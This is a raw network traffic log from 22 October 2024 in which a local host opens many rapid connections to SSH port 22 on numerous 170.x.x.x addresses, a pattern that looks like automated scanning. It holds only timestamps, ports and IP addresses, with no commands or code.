Oct 22, 2024 18:10:16.693792105 CEST	22	56798	170.200.123.21	192.168.2.13
Oct 22, 2024 18:10:16.703840971 CEST	52530	22	192.168.2.13	170.239.50.132
Oct 22, 2024 18:10:16.709654093 CEST	22	52530	170.239.50.132	192.168.2.13
Oct 22, 2024 18:10:16.838802099 CEST	36148	22	192.168.2.13	170.219.201.209
Oct 22, 2024 18:10:16.842212915 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:16.842856884 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:16.845351934 CEST	22	36148	170.219.201.209	192.168.2.13
Oct 22, 2024 18:10:16.846065044 CEST	36148	22	192.168.2.13	170.219.201.209
Oct 22, 2024 18:10:16.846191883 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:16.851910114 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:16.940692902 CEST	36148	22	192.168.2.13	170.219.201.209
Oct 22, 2024 18:10:16.946552992 CEST	22	36148	170.219.201.209	192.168.2.13
Oct 22, 2024 18:10:17.145189047 CEST	42716	22	192.168.2.13	170.46.76.122
Oct 22, 2024 18:10:17.178453922 CEST	40090	22	192.168.2.13	170.144.49.68
Oct 22, 2024 18:10:17.178848982 CEST	42848	22	192.168.2.13	170.172.149.200
Oct 22, 2024 18:10:17.199529886 CEST	52494	22	192.168.2.13	170.90.106.142
Oct 22, 2024 18:10:17.270215988 CEST	57440	22	192.168.2.13	170.17.42.30
Oct 22, 2024 18:10:17.290393114 CEST	56886	22	192.168.2.13	170.122.22.16
Oct 22, 2024 18:10:17.322669029 CEST	59854	22	192.168.2.13	170.36.206.235
Oct 22, 2024 18:10:17.350593090 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:17.351949930 CEST	34818	22	192.168.2.13	170.92.218.121
Oct 22, 2024 18:10:17.367615938 CEST	33030	22	192.168.2.13	170.129.9.251
Oct 22, 2024 18:10:17.440572023 CEST	37486	22	192.168.2.13	170.88.235.187
Oct 22, 2024 18:10:17.451280117 CEST	59558	22	192.168.2.13	170.203.95.101
Oct 22, 2024 18:10:17.464095116 CEST	44830	22	192.168.2.13	170.180.231.3
Oct 22, 2024 18:10:17.505964994 CEST	38204	22	192.168.2.13	170.199.33.78
Oct 22, 2024 18:10:17.537594080 CEST	57532	22	192.168.2.13	170.61.111.74
Oct 22, 2024 18:10:17.560111046 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:17.570334911 CEST	60316	22	192.168.2.13	170.85.45.213
Oct 22, 2024 18:10:17.591691971 CEST	42614	22	192.168.2.13	170.43.246.26
Oct 22, 2024 18:10:17.634825945 CEST	55216	22	192.168.2.13	170.22.59.116
Oct 22, 2024 18:10:17.658452034 CEST	44520	22	192.168.2.13	170.1.14.163
Oct 22, 2024 18:10:17.673597097 CEST	56810	22	192.168.2.13	170.8.225.73
Oct 22, 2024 18:10:17.683439016 CEST	60136	22	192.168.2.13	170.67.215.162
Oct 22, 2024 18:10:17.707191944 CEST	37342	22	192.168.2.13	170.174.220.54
Oct 22, 2024 18:10:17.751331091 CEST	58982	22	192.168.2.13	170.47.35.173
Oct 22, 2024 18:10:17.771981001 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:17.801671982 CEST	49278	22	192.168.2.13	170.200.164.116
Oct 22, 2024 18:10:17.810612917 CEST	45144	22	192.168.2.13	170.188.246.201
Oct 22, 2024 18:10:17.825541973 CEST	55852	22	192.168.2.13	170.75.195.250
Oct 22, 2024 18:10:17.879735947 CEST	57688	22	192.168.2.13	170.46.142.3
Oct 22, 2024 18:10:17.888012886 CEST	60764	22	192.168.2.13	170.135.13.62
Oct 22, 2024 18:10:17.939928055 CEST	44904	22	192.168.2.13	170.162.37.102
Oct 22, 2024 18:10:17.965420961 CEST	51802	22	192.168.2.13	170.116.205.196
Oct 22, 2024 18:10:18.041166067 CEST	54424	22	192.168.2.13	170.201.244.137
Oct 22, 2024 18:10:18.065702915 CEST	48648	22	192.168.2.13	170.213.207.25
Oct 22, 2024 18:10:18.066740036 CEST	34446	22	192.168.2.13	170.98.11.19
Oct 22, 2024 18:10:18.092298985 CEST	47246	22	192.168.2.13	170.238.100.103
Oct 22, 2024 18:10:18.103951931 CEST	35918	22	192.168.2.13	170.231.24.30
Oct 22, 2024 18:10:18.106794119 CEST	60048	22	192.168.2.13	170.138.10.147
Oct 22, 2024 18:10:18.136707067 CEST	33924	22	192.168.2.13	170.93.24.200
Oct 22, 2024 18:10:18.151010990 CEST	22	42716	170.46.76.122	192.168.2.13
Oct 22, 2024 18:10:18.151022911 CEST	22	40090	170.144.49.68	192.168.2.13
Oct 22, 2024 18:10:18.151029110 CEST	22	42848	170.172.149.200	192.168.2.13
Oct 22, 2024 18:10:18.151043892 CEST	22	52494	170.90.106.142	192.168.2.13
Oct 22, 2024 18:10:18.151050091 CEST	22	57440	170.17.42.30	192.168.2.13
Oct 22, 2024 18:10:18.151060104 CEST	22	56886	170.122.22.16	192.168.2.13
Oct 22, 2024 18:10:18.151066065 CEST	22	59854	170.36.206.235	192.168.2.13
Oct 22, 2024 18:10:18.151071072 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.151068926 CEST	42716	22	192.168.2.13	170.46.76.122
Oct 22, 2024 18:10:18.151077986 CEST	22	34818	170.92.218.121	192.168.2.13
Oct 22, 2024 18:10:18.151088953 CEST	22	33030	170.129.9.251	192.168.2.13
Oct 22, 2024 18:10:18.151094913 CEST	22	37486	170.88.235.187	192.168.2.13
Oct 22, 2024 18:10:18.151099920 CEST	22	59558	170.203.95.101	192.168.2.13
Oct 22, 2024 18:10:18.151099920 CEST	57440	22	192.168.2.13	170.17.42.30
Oct 22, 2024 18:10:18.151099920 CEST	40090	22	192.168.2.13	170.144.49.68
Oct 22, 2024 18:10:18.151110888 CEST	22	44830	170.180.231.3	192.168.2.13
Oct 22, 2024 18:10:18.151117086 CEST	22	38204	170.199.33.78	192.168.2.13
Oct 22, 2024 18:10:18.151114941 CEST	59854	22	192.168.2.13	170.36.206.235
Oct 22, 2024 18:10:18.151124001 CEST	42848	22	192.168.2.13	170.172.149.200
Oct 22, 2024 18:10:18.151127100 CEST	22	57532	170.61.111.74	192.168.2.13
Oct 22, 2024 18:10:18.151133060 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.151143074 CEST	22	60316	170.85.45.213	192.168.2.13
Oct 22, 2024 18:10:18.151149035 CEST	22	42614	170.43.246.26	192.168.2.13
Oct 22, 2024 18:10:18.151156902 CEST	59558	22	192.168.2.13	170.203.95.101
Oct 22, 2024 18:10:18.151160002 CEST	22	55216	170.22.59.116	192.168.2.13
Oct 22, 2024 18:10:18.151165962 CEST	22	44520	170.1.14.163	192.168.2.13
Oct 22, 2024 18:10:18.151173115 CEST	33030	22	192.168.2.13	170.129.9.251
Oct 22, 2024 18:10:18.151173115 CEST	44830	22	192.168.2.13	170.180.231.3
Oct 22, 2024 18:10:18.151186943 CEST	56886	22	192.168.2.13	170.122.22.16
Oct 22, 2024 18:10:18.151182890 CEST	52494	22	192.168.2.13	170.90.106.142
Oct 22, 2024 18:10:18.151182890 CEST	38204	22	192.168.2.13	170.199.33.78
Oct 22, 2024 18:10:18.151182890 CEST	57532	22	192.168.2.13	170.61.111.74
Oct 22, 2024 18:10:18.151206017 CEST	37486	22	192.168.2.13	170.88.235.187
Oct 22, 2024 18:10:18.151235104 CEST	60316	22	192.168.2.13	170.85.45.213
Oct 22, 2024 18:10:18.151248932 CEST	42614	22	192.168.2.13	170.43.246.26
Oct 22, 2024 18:10:18.151247978 CEST	34818	22	192.168.2.13	170.92.218.121
Oct 22, 2024 18:10:18.151247978 CEST	44520	22	192.168.2.13	170.1.14.163
Oct 22, 2024 18:10:18.151263952 CEST	55216	22	192.168.2.13	170.22.59.116
Oct 22, 2024 18:10:18.151751041 CEST	59854	22	192.168.2.13	170.36.206.235
Oct 22, 2024 18:10:18.152451038 CEST	33030	22	192.168.2.13	170.129.9.251
Oct 22, 2024 18:10:18.152600050 CEST	22	56810	170.8.225.73	192.168.2.13
Oct 22, 2024 18:10:18.152611017 CEST	22	60136	170.67.215.162	192.168.2.13
Oct 22, 2024 18:10:18.152614117 CEST	40090	22	192.168.2.13	170.144.49.68
Oct 22, 2024 18:10:18.152616978 CEST	22	37342	170.174.220.54	192.168.2.13
Oct 22, 2024 18:10:18.152621984 CEST	22	58982	170.47.35.173	192.168.2.13
Oct 22, 2024 18:10:18.152636051 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.152642012 CEST	22	49278	170.200.164.116	192.168.2.13
Oct 22, 2024 18:10:18.152653933 CEST	22	45144	170.188.246.201	192.168.2.13
Oct 22, 2024 18:10:18.152657986 CEST	56810	22	192.168.2.13	170.8.225.73
Oct 22, 2024 18:10:18.152659893 CEST	22	55852	170.75.195.250	192.168.2.13
Oct 22, 2024 18:10:18.152671099 CEST	60136	22	192.168.2.13	170.67.215.162
Oct 22, 2024 18:10:18.152683020 CEST	37342	22	192.168.2.13	170.174.220.54
Oct 22, 2024 18:10:18.152683020 CEST	49278	22	192.168.2.13	170.200.164.116
Oct 22, 2024 18:10:18.152688026 CEST	58982	22	192.168.2.13	170.47.35.173
Oct 22, 2024 18:10:18.152690887 CEST	22	57688	170.46.142.3	192.168.2.13
Oct 22, 2024 18:10:18.152697086 CEST	22	60764	170.135.13.62	192.168.2.13
Oct 22, 2024 18:10:18.152703047 CEST	55852	22	192.168.2.13	170.75.195.250
Oct 22, 2024 18:10:18.152708054 CEST	22	44904	170.162.37.102	192.168.2.13
Oct 22, 2024 18:10:18.152710915 CEST	45144	22	192.168.2.13	170.188.246.201
Oct 22, 2024 18:10:18.152714968 CEST	22	51802	170.116.205.196	192.168.2.13
Oct 22, 2024 18:10:18.152725935 CEST	22	54424	170.201.244.137	192.168.2.13
Oct 22, 2024 18:10:18.152730942 CEST	22	48648	170.213.207.25	192.168.2.13
Oct 22, 2024 18:10:18.152738094 CEST	22	34446	170.98.11.19	192.168.2.13
Oct 22, 2024 18:10:18.152740002 CEST	60764	22	192.168.2.13	170.135.13.62
Oct 22, 2024 18:10:18.152743101 CEST	57688	22	192.168.2.13	170.46.142.3
Oct 22, 2024 18:10:18.152748108 CEST	22	47246	170.238.100.103	192.168.2.13
Oct 22, 2024 18:10:18.152750015 CEST	22	35918	170.231.24.30	192.168.2.13
Oct 22, 2024 18:10:18.152756929 CEST	51802	22	192.168.2.13	170.116.205.196
Oct 22, 2024 18:10:18.152759075 CEST	22	60048	170.138.10.147	192.168.2.13
Oct 22, 2024 18:10:18.152761936 CEST	44904	22	192.168.2.13	170.162.37.102
Oct 22, 2024 18:10:18.152765989 CEST	22	33924	170.93.24.200	192.168.2.13
Oct 22, 2024 18:10:18.152771950 CEST	48648	22	192.168.2.13	170.213.207.25
Oct 22, 2024 18:10:18.152776957 CEST	34446	22	192.168.2.13	170.98.11.19
Oct 22, 2024 18:10:18.152796984 CEST	35918	22	192.168.2.13	170.231.24.30
Oct 22, 2024 18:10:18.152811050 CEST	60048	22	192.168.2.13	170.138.10.147
Oct 22, 2024 18:10:18.152817011 CEST	33924	22	192.168.2.13	170.93.24.200
Oct 22, 2024 18:10:18.152831078 CEST	54424	22	192.168.2.13	170.201.244.137
Oct 22, 2024 18:10:18.152831078 CEST	47246	22	192.168.2.13	170.238.100.103
Oct 22, 2024 18:10:18.153403044 CEST	59558	22	192.168.2.13	170.203.95.101
Oct 22, 2024 18:10:18.153950930 CEST	57440	22	192.168.2.13	170.17.42.30
Oct 22, 2024 18:10:18.154210091 CEST	44830	22	192.168.2.13	170.180.231.3
Oct 22, 2024 18:10:18.155034065 CEST	34818	22	192.168.2.13	170.92.218.121
Oct 22, 2024 18:10:18.155051947 CEST	42848	22	192.168.2.13	170.172.149.200
Oct 22, 2024 18:10:18.155833960 CEST	56810	22	192.168.2.13	170.8.225.73
Oct 22, 2024 18:10:18.156239033 CEST	52494	22	192.168.2.13	170.90.106.142
Oct 22, 2024 18:10:18.157042980 CEST	22	59854	170.36.206.235	192.168.2.13
Oct 22, 2024 18:10:18.157160044 CEST	60136	22	192.168.2.13	170.67.215.162
Oct 22, 2024 18:10:18.157789946 CEST	22	33030	170.129.9.251	192.168.2.13
Oct 22, 2024 18:10:18.158407927 CEST	38204	22	192.168.2.13	170.199.33.78
Oct 22, 2024 18:10:18.158812046 CEST	58982	22	192.168.2.13	170.47.35.173
Oct 22, 2024 18:10:18.159349918 CEST	56886	22	192.168.2.13	170.122.22.16
Oct 22, 2024 18:10:18.159349918 CEST	37342	22	192.168.2.13	170.174.220.54
Oct 22, 2024 18:10:18.159475088 CEST	57532	22	192.168.2.13	170.61.111.74
Oct 22, 2024 18:10:18.159478903 CEST	45144	22	192.168.2.13	170.188.246.201
Oct 22, 2024 18:10:18.160311937 CEST	60764	22	192.168.2.13	170.135.13.62
Oct 22, 2024 18:10:18.160614967 CEST	37486	22	192.168.2.13	170.88.235.187
Oct 22, 2024 18:10:18.161007881 CEST	51802	22	192.168.2.13	170.116.205.196
Oct 22, 2024 18:10:18.161672115 CEST	60316	22	192.168.2.13	170.85.45.213
Oct 22, 2024 18:10:18.161977053 CEST	54424	22	192.168.2.13	170.201.244.137
Oct 22, 2024 18:10:18.162080050 CEST	22	40090	170.144.49.68	192.168.2.13
Oct 22, 2024 18:10:18.162091017 CEST	22	59558	170.203.95.101	192.168.2.13
Oct 22, 2024 18:10:18.162095070 CEST	22	57440	170.17.42.30	192.168.2.13
Oct 22, 2024 18:10:18.162173033 CEST	22	44830	170.180.231.3	192.168.2.13
Oct 22, 2024 18:10:18.162286997 CEST	22	34818	170.92.218.121	192.168.2.13
Oct 22, 2024 18:10:18.162370920 CEST	22	42848	170.172.149.200	192.168.2.13
Oct 22, 2024 18:10:18.162375927 CEST	22	56810	170.8.225.73	192.168.2.13
Oct 22, 2024 18:10:18.162385941 CEST	22	52494	170.90.106.142	192.168.2.13
Oct 22, 2024 18:10:18.162457943 CEST	22	60136	170.67.215.162	192.168.2.13
Oct 22, 2024 18:10:18.162458897 CEST	48648	22	192.168.2.13	170.213.207.25
Oct 22, 2024 18:10:18.162781954 CEST	42614	22	192.168.2.13	170.43.246.26
Oct 22, 2024 18:10:18.163194895 CEST	34446	22	192.168.2.13	170.98.11.19
Oct 22, 2024 18:10:18.163670063 CEST	22	38204	170.199.33.78	192.168.2.13
Oct 22, 2024 18:10:18.163880110 CEST	55216	22	192.168.2.13	170.22.59.116
Oct 22, 2024 18:10:18.164082050 CEST	22	58982	170.47.35.173	192.168.2.13
Oct 22, 2024 18:10:18.164104939 CEST	47246	22	192.168.2.13	170.238.100.103
Oct 22, 2024 18:10:18.164736032 CEST	22	56886	170.122.22.16	192.168.2.13
Oct 22, 2024 18:10:18.164741039 CEST	22	37342	170.174.220.54	192.168.2.13
Oct 22, 2024 18:10:18.164741039 CEST	35918	22	192.168.2.13	170.231.24.30
Oct 22, 2024 18:10:18.164814949 CEST	22	57532	170.61.111.74	192.168.2.13
Oct 22, 2024 18:10:18.164819002 CEST	22	45144	170.188.246.201	192.168.2.13
Oct 22, 2024 18:10:18.165167093 CEST	49278	22	192.168.2.13	170.200.164.116
Oct 22, 2024 18:10:18.165484905 CEST	60048	22	192.168.2.13	170.138.10.147
Oct 22, 2024 18:10:18.165957928 CEST	22	60764	170.135.13.62	192.168.2.13
Oct 22, 2024 18:10:18.166039944 CEST	55852	22	192.168.2.13	170.75.195.250
Oct 22, 2024 18:10:18.166049957 CEST	22	37486	170.88.235.187	192.168.2.13
Oct 22, 2024 18:10:18.166367054 CEST	22	51802	170.116.205.196	192.168.2.13
Oct 22, 2024 18:10:18.166999102 CEST	22	60316	170.85.45.213	192.168.2.13
Oct 22, 2024 18:10:18.167341948 CEST	44904	22	192.168.2.13	170.162.37.102
Oct 22, 2024 18:10:18.167368889 CEST	22	54424	170.201.244.137	192.168.2.13
Oct 22, 2024 18:10:18.167979956 CEST	22	48648	170.213.207.25	192.168.2.13
Oct 22, 2024 18:10:18.168109894 CEST	22	42614	170.43.246.26	192.168.2.13
Oct 22, 2024 18:10:18.168481112 CEST	57688	22	192.168.2.13	170.46.142.3
Oct 22, 2024 18:10:18.168560028 CEST	22	34446	170.98.11.19	192.168.2.13
Oct 22, 2024 18:10:18.169300079 CEST	22	55216	170.22.59.116	192.168.2.13
Oct 22, 2024 18:10:18.169423103 CEST	44520	22	192.168.2.13	170.1.14.163
Oct 22, 2024 18:10:18.169753075 CEST	22	47246	170.238.100.103	192.168.2.13
Oct 22, 2024 18:10:18.169878006 CEST	42716	22	192.168.2.13	170.46.76.122
Oct 22, 2024 18:10:18.170023918 CEST	22	35918	170.231.24.30	192.168.2.13
Oct 22, 2024 18:10:18.170447111 CEST	22	49278	170.200.164.116	192.168.2.13
Oct 22, 2024 18:10:18.170798063 CEST	22	60048	170.138.10.147	192.168.2.13
Oct 22, 2024 18:10:18.170989037 CEST	33924	22	192.168.2.13	170.93.24.200
Oct 22, 2024 18:10:18.171360970 CEST	22	55852	170.75.195.250	192.168.2.13
Oct 22, 2024 18:10:18.172693968 CEST	22	44904	170.162.37.102	192.168.2.13
Oct 22, 2024 18:10:18.173136950 CEST	57224	22	192.168.2.13	170.185.20.194
Oct 22, 2024 18:10:18.174408913 CEST	22	57688	170.46.142.3	192.168.2.13
Oct 22, 2024 18:10:18.174777985 CEST	22	44520	170.1.14.163	192.168.2.13
Oct 22, 2024 18:10:18.175188065 CEST	22	42716	170.46.76.122	192.168.2.13
Oct 22, 2024 18:10:18.176306963 CEST	22	33924	170.93.24.200	192.168.2.13
Oct 22, 2024 18:10:18.178472042 CEST	22	57224	170.185.20.194	192.168.2.13
Oct 22, 2024 18:10:18.179328918 CEST	57224	22	192.168.2.13	170.185.20.194
Oct 22, 2024 18:10:18.181816101 CEST	57224	22	192.168.2.13	170.185.20.194
Oct 22, 2024 18:10:18.187242985 CEST	22	57224	170.185.20.194	192.168.2.13
Oct 22, 2024 18:10:18.189466953 CEST	58452	22	192.168.2.13	170.88.26.217
Oct 22, 2024 18:10:18.194848061 CEST	22	58452	170.88.26.217	192.168.2.13
Oct 22, 2024 18:10:18.194889069 CEST	58452	22	192.168.2.13	170.88.26.217
Oct 22, 2024 18:10:18.195550919 CEST	51124	22	192.168.2.13	170.181.245.31
Oct 22, 2024 18:10:18.200947046 CEST	22	51124	170.181.245.31	192.168.2.13
Oct 22, 2024 18:10:18.201504946 CEST	51124	22	192.168.2.13	170.181.245.31
Oct 22, 2024 18:10:18.202158928 CEST	51124	22	192.168.2.13	170.181.245.31
Oct 22, 2024 18:10:18.206960917 CEST	53058	22	192.168.2.13	170.208.160.22
Oct 22, 2024 18:10:18.207513094 CEST	22	51124	170.181.245.31	192.168.2.13
Oct 22, 2024 18:10:18.208595991 CEST	34290	22	192.168.2.13	170.127.245.64
Oct 22, 2024 18:10:18.209517002 CEST	58452	22	192.168.2.13	170.88.26.217
Oct 22, 2024 18:10:18.210021019 CEST	57610	22	192.168.2.13	170.11.14.76
Oct 22, 2024 18:10:18.210138083 CEST	36290	22	192.168.2.13	170.137.243.17
Oct 22, 2024 18:10:18.211734056 CEST	56516	22	192.168.2.13	170.53.49.62
Oct 22, 2024 18:10:18.212403059 CEST	22	53058	170.208.160.22	192.168.2.13
Oct 22, 2024 18:10:18.212454081 CEST	53058	22	192.168.2.13	170.208.160.22
Oct 22, 2024 18:10:18.213959932 CEST	22	34290	170.127.245.64	192.168.2.13
Oct 22, 2024 18:10:18.214107990 CEST	34290	22	192.168.2.13	170.127.245.64
Oct 22, 2024 18:10:18.214854002 CEST	22	58452	170.88.26.217	192.168.2.13
Oct 22, 2024 18:10:18.214965105 CEST	53058	22	192.168.2.13	170.208.160.22
Oct 22, 2024 18:10:18.215338945 CEST	22	57610	170.11.14.76	192.168.2.13
Oct 22, 2024 18:10:18.215462923 CEST	22	36290	170.137.243.17	192.168.2.13
Oct 22, 2024 18:10:18.215471029 CEST	57610	22	192.168.2.13	170.11.14.76
Oct 22, 2024 18:10:18.215632915 CEST	36290	22	192.168.2.13	170.137.243.17
Oct 22, 2024 18:10:18.217022896 CEST	22	56516	170.53.49.62	192.168.2.13
Oct 22, 2024 18:10:18.217067957 CEST	56516	22	192.168.2.13	170.53.49.62
Oct 22, 2024 18:10:18.220254898 CEST	22	53058	170.208.160.22	192.168.2.13
Oct 22, 2024 18:10:18.221648932 CEST	34290	22	192.168.2.13	170.127.245.64
Oct 22, 2024 18:10:18.223620892 CEST	57610	22	192.168.2.13	170.11.14.76
Oct 22, 2024 18:10:18.224078894 CEST	36290	22	192.168.2.13	170.137.243.17
Oct 22, 2024 18:10:18.226907015 CEST	56516	22	192.168.2.13	170.53.49.62
Oct 22, 2024 18:10:18.227092981 CEST	22	34290	170.127.245.64	192.168.2.13
Oct 22, 2024 18:10:18.228950977 CEST	22	57610	170.11.14.76	192.168.2.13
Oct 22, 2024 18:10:18.229346991 CEST	22	36290	170.137.243.17	192.168.2.13
Oct 22, 2024 18:10:18.232352972 CEST	22	56516	170.53.49.62	192.168.2.13
Oct 22, 2024 18:10:18.232819080 CEST	53298	22	192.168.2.13	170.245.94.19
Oct 22, 2024 18:10:18.238291979 CEST	22	53298	170.245.94.19	192.168.2.13
Oct 22, 2024 18:10:18.238358974 CEST	45216	22	192.168.2.13	170.64.13.21
Oct 22, 2024 18:10:18.238392115 CEST	53298	22	192.168.2.13	170.245.94.19
Oct 22, 2024 18:10:18.240436077 CEST	53298	22	192.168.2.13	170.245.94.19
Oct 22, 2024 18:10:18.243340969 CEST	59324	22	192.168.2.13	170.64.100.45
Oct 22, 2024 18:10:18.243751049 CEST	22	45216	170.64.13.21	192.168.2.13
Oct 22, 2024 18:10:18.243814945 CEST	45216	22	192.168.2.13	170.64.13.21
Oct 22, 2024 18:10:18.244294882 CEST	45216	22	192.168.2.13	170.64.13.21
Oct 22, 2024 18:10:18.245774031 CEST	22	53298	170.245.94.19	192.168.2.13
Oct 22, 2024 18:10:18.248733997 CEST	22	59324	170.64.100.45	192.168.2.13
Oct 22, 2024 18:10:18.248791933 CEST	59324	22	192.168.2.13	170.64.100.45
Oct 22, 2024 18:10:18.249577999 CEST	22	45216	170.64.13.21	192.168.2.13
Oct 22, 2024 18:10:18.249594927 CEST	59324	22	192.168.2.13	170.64.100.45
Oct 22, 2024 18:10:18.251197100 CEST	42000	22	192.168.2.13	170.28.153.181
Oct 22, 2024 18:10:18.255235910 CEST	22	59324	170.64.100.45	192.168.2.13
Oct 22, 2024 18:10:18.255867004 CEST	38998	22	192.168.2.13	170.247.225.87
Oct 22, 2024 18:10:18.256542921 CEST	22	42000	170.28.153.181	192.168.2.13
Oct 22, 2024 18:10:18.257025957 CEST	42000	22	192.168.2.13	170.28.153.181
Oct 22, 2024 18:10:18.261308908 CEST	22	38998	170.247.225.87	192.168.2.13
Oct 22, 2024 18:10:18.261780024 CEST	38998	22	192.168.2.13	170.247.225.87
Oct 22, 2024 18:10:18.262242079 CEST	38998	22	192.168.2.13	170.247.225.87
Oct 22, 2024 18:10:18.264441013 CEST	42000	22	192.168.2.13	170.28.153.181
Oct 22, 2024 18:10:18.267538071 CEST	22	38998	170.247.225.87	192.168.2.13
Oct 22, 2024 18:10:18.269572973 CEST	58212	22	192.168.2.13	170.158.181.0
Oct 22, 2024 18:10:18.270092010 CEST	22	42000	170.28.153.181	192.168.2.13
Oct 22, 2024 18:10:18.275074005 CEST	22	58212	170.158.181.0	192.168.2.13
Oct 22, 2024 18:10:18.275122881 CEST	58212	22	192.168.2.13	170.158.181.0
Oct 22, 2024 18:10:18.277868032 CEST	58212	22	192.168.2.13	170.158.181.0
Oct 22, 2024 18:10:18.283190012 CEST	22	58212	170.158.181.0	192.168.2.13
Oct 22, 2024 18:10:18.292578936 CEST	47220	22	192.168.2.13	170.159.177.241
Oct 22, 2024 18:10:18.297020912 CEST	60230	22	192.168.2.13	170.111.97.148
Oct 22, 2024 18:10:18.298053026 CEST	22	47220	170.159.177.241	192.168.2.13
Oct 22, 2024 18:10:18.298131943 CEST	47220	22	192.168.2.13	170.159.177.241
Oct 22, 2024 18:10:18.298589945 CEST	47220	22	192.168.2.13	170.159.177.241
Oct 22, 2024 18:10:18.302400112 CEST	22	60230	170.111.97.148	192.168.2.13
Oct 22, 2024 18:10:18.302472115 CEST	60230	22	192.168.2.13	170.111.97.148
Oct 22, 2024 18:10:18.303108931 CEST	60230	22	192.168.2.13	170.111.97.148
Oct 22, 2024 18:10:18.304286957 CEST	22	47220	170.159.177.241	192.168.2.13
Oct 22, 2024 18:10:18.305078983 CEST	36830	22	192.168.2.13	170.175.74.189
Oct 22, 2024 18:10:18.308020115 CEST	35572	22	192.168.2.13	170.43.112.136
Oct 22, 2024 18:10:18.308481932 CEST	22	60230	170.111.97.148	192.168.2.13
Oct 22, 2024 18:10:18.310895920 CEST	22	36830	170.175.74.189	192.168.2.13
Oct 22, 2024 18:10:18.310962915 CEST	36830	22	192.168.2.13	170.175.74.189
Oct 22, 2024 18:10:18.311494112 CEST	36830	22	192.168.2.13	170.175.74.189
Oct 22, 2024 18:10:18.313565016 CEST	22	35572	170.43.112.136	192.168.2.13
Oct 22, 2024 18:10:18.313633919 CEST	35572	22	192.168.2.13	170.43.112.136
Oct 22, 2024 18:10:18.315649986 CEST	35572	22	192.168.2.13	170.43.112.136
Oct 22, 2024 18:10:18.316210985 CEST	42060	22	192.168.2.13	170.53.239.74
Oct 22, 2024 18:10:18.316970110 CEST	22	36830	170.175.74.189	192.168.2.13
Oct 22, 2024 18:10:18.321098089 CEST	22	35572	170.43.112.136	192.168.2.13
Oct 22, 2024 18:10:18.321556091 CEST	22	42060	170.53.239.74	192.168.2.13
Oct 22, 2024 18:10:18.321614027 CEST	42060	22	192.168.2.13	170.53.239.74
Oct 22, 2024 18:10:18.323354006 CEST	42060	22	192.168.2.13	170.53.239.74
Oct 22, 2024 18:10:18.324322939 CEST	57776	22	192.168.2.13	170.222.39.190
Oct 22, 2024 18:10:18.328805923 CEST	22	42060	170.53.239.74	192.168.2.13
Oct 22, 2024 18:10:18.329639912 CEST	22	57776	170.222.39.190	192.168.2.13
Oct 22, 2024 18:10:18.329705954 CEST	57776	22	192.168.2.13	170.222.39.190
Oct 22, 2024 18:10:18.330455065 CEST	57776	22	192.168.2.13	170.222.39.190
Oct 22, 2024 18:10:18.335999966 CEST	22	57776	170.222.39.190	192.168.2.13
Oct 22, 2024 18:10:18.407056093 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:18.407124996 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:18.458251953 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.459397078 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.459873915 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.465200901 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.774633884 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.774710894 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.775424957 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.775465012 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.780914068 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.782318115 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.782398939 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.804431915 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.810209990 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.810285091 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.810309887 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:18.816165924 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:18.833620071 CEST	22	53298	170.245.94.19	192.168.2.13
Oct 22, 2024 18:10:18.834094048 CEST	53298	22	192.168.2.13	170.245.94.19
Oct 22, 2024 18:10:18.840367079 CEST	22	53298	170.245.94.19	192.168.2.13
Oct 22, 2024 18:10:19.008152008 CEST	22	33548	170.161.105.35	192.168.2.13
Oct 22, 2024 18:10:19.008887053 CEST	33548	22	192.168.2.13	170.161.105.35
Oct 22, 2024 18:10:19.014986992 CEST	22	33548	170.161.105.35	192.168.2.13
Oct 22, 2024 18:10:19.665827990 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:19.671339989 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:19.772423029 CEST	33712	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:19.777828932 CEST	22	33712	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:19.797111034 CEST	33312	22	192.168.2.13	170.66.196.242
Oct 22, 2024 18:10:19.802700043 CEST	22	33312	170.66.196.242	192.168.2.13
Oct 22, 2024 18:10:19.802834988 CEST	33312	22	192.168.2.13	170.66.196.242
Oct 22, 2024 18:10:19.803288937 CEST	33312	22	192.168.2.13	170.66.196.242
Oct 22, 2024 18:10:19.809045076 CEST	22	33312	170.66.196.242	192.168.2.13
Oct 22, 2024 18:10:19.835242987 CEST	35796	22	192.168.2.13	170.132.206.7
Oct 22, 2024 18:10:19.842165947 CEST	22	35796	170.132.206.7	192.168.2.13
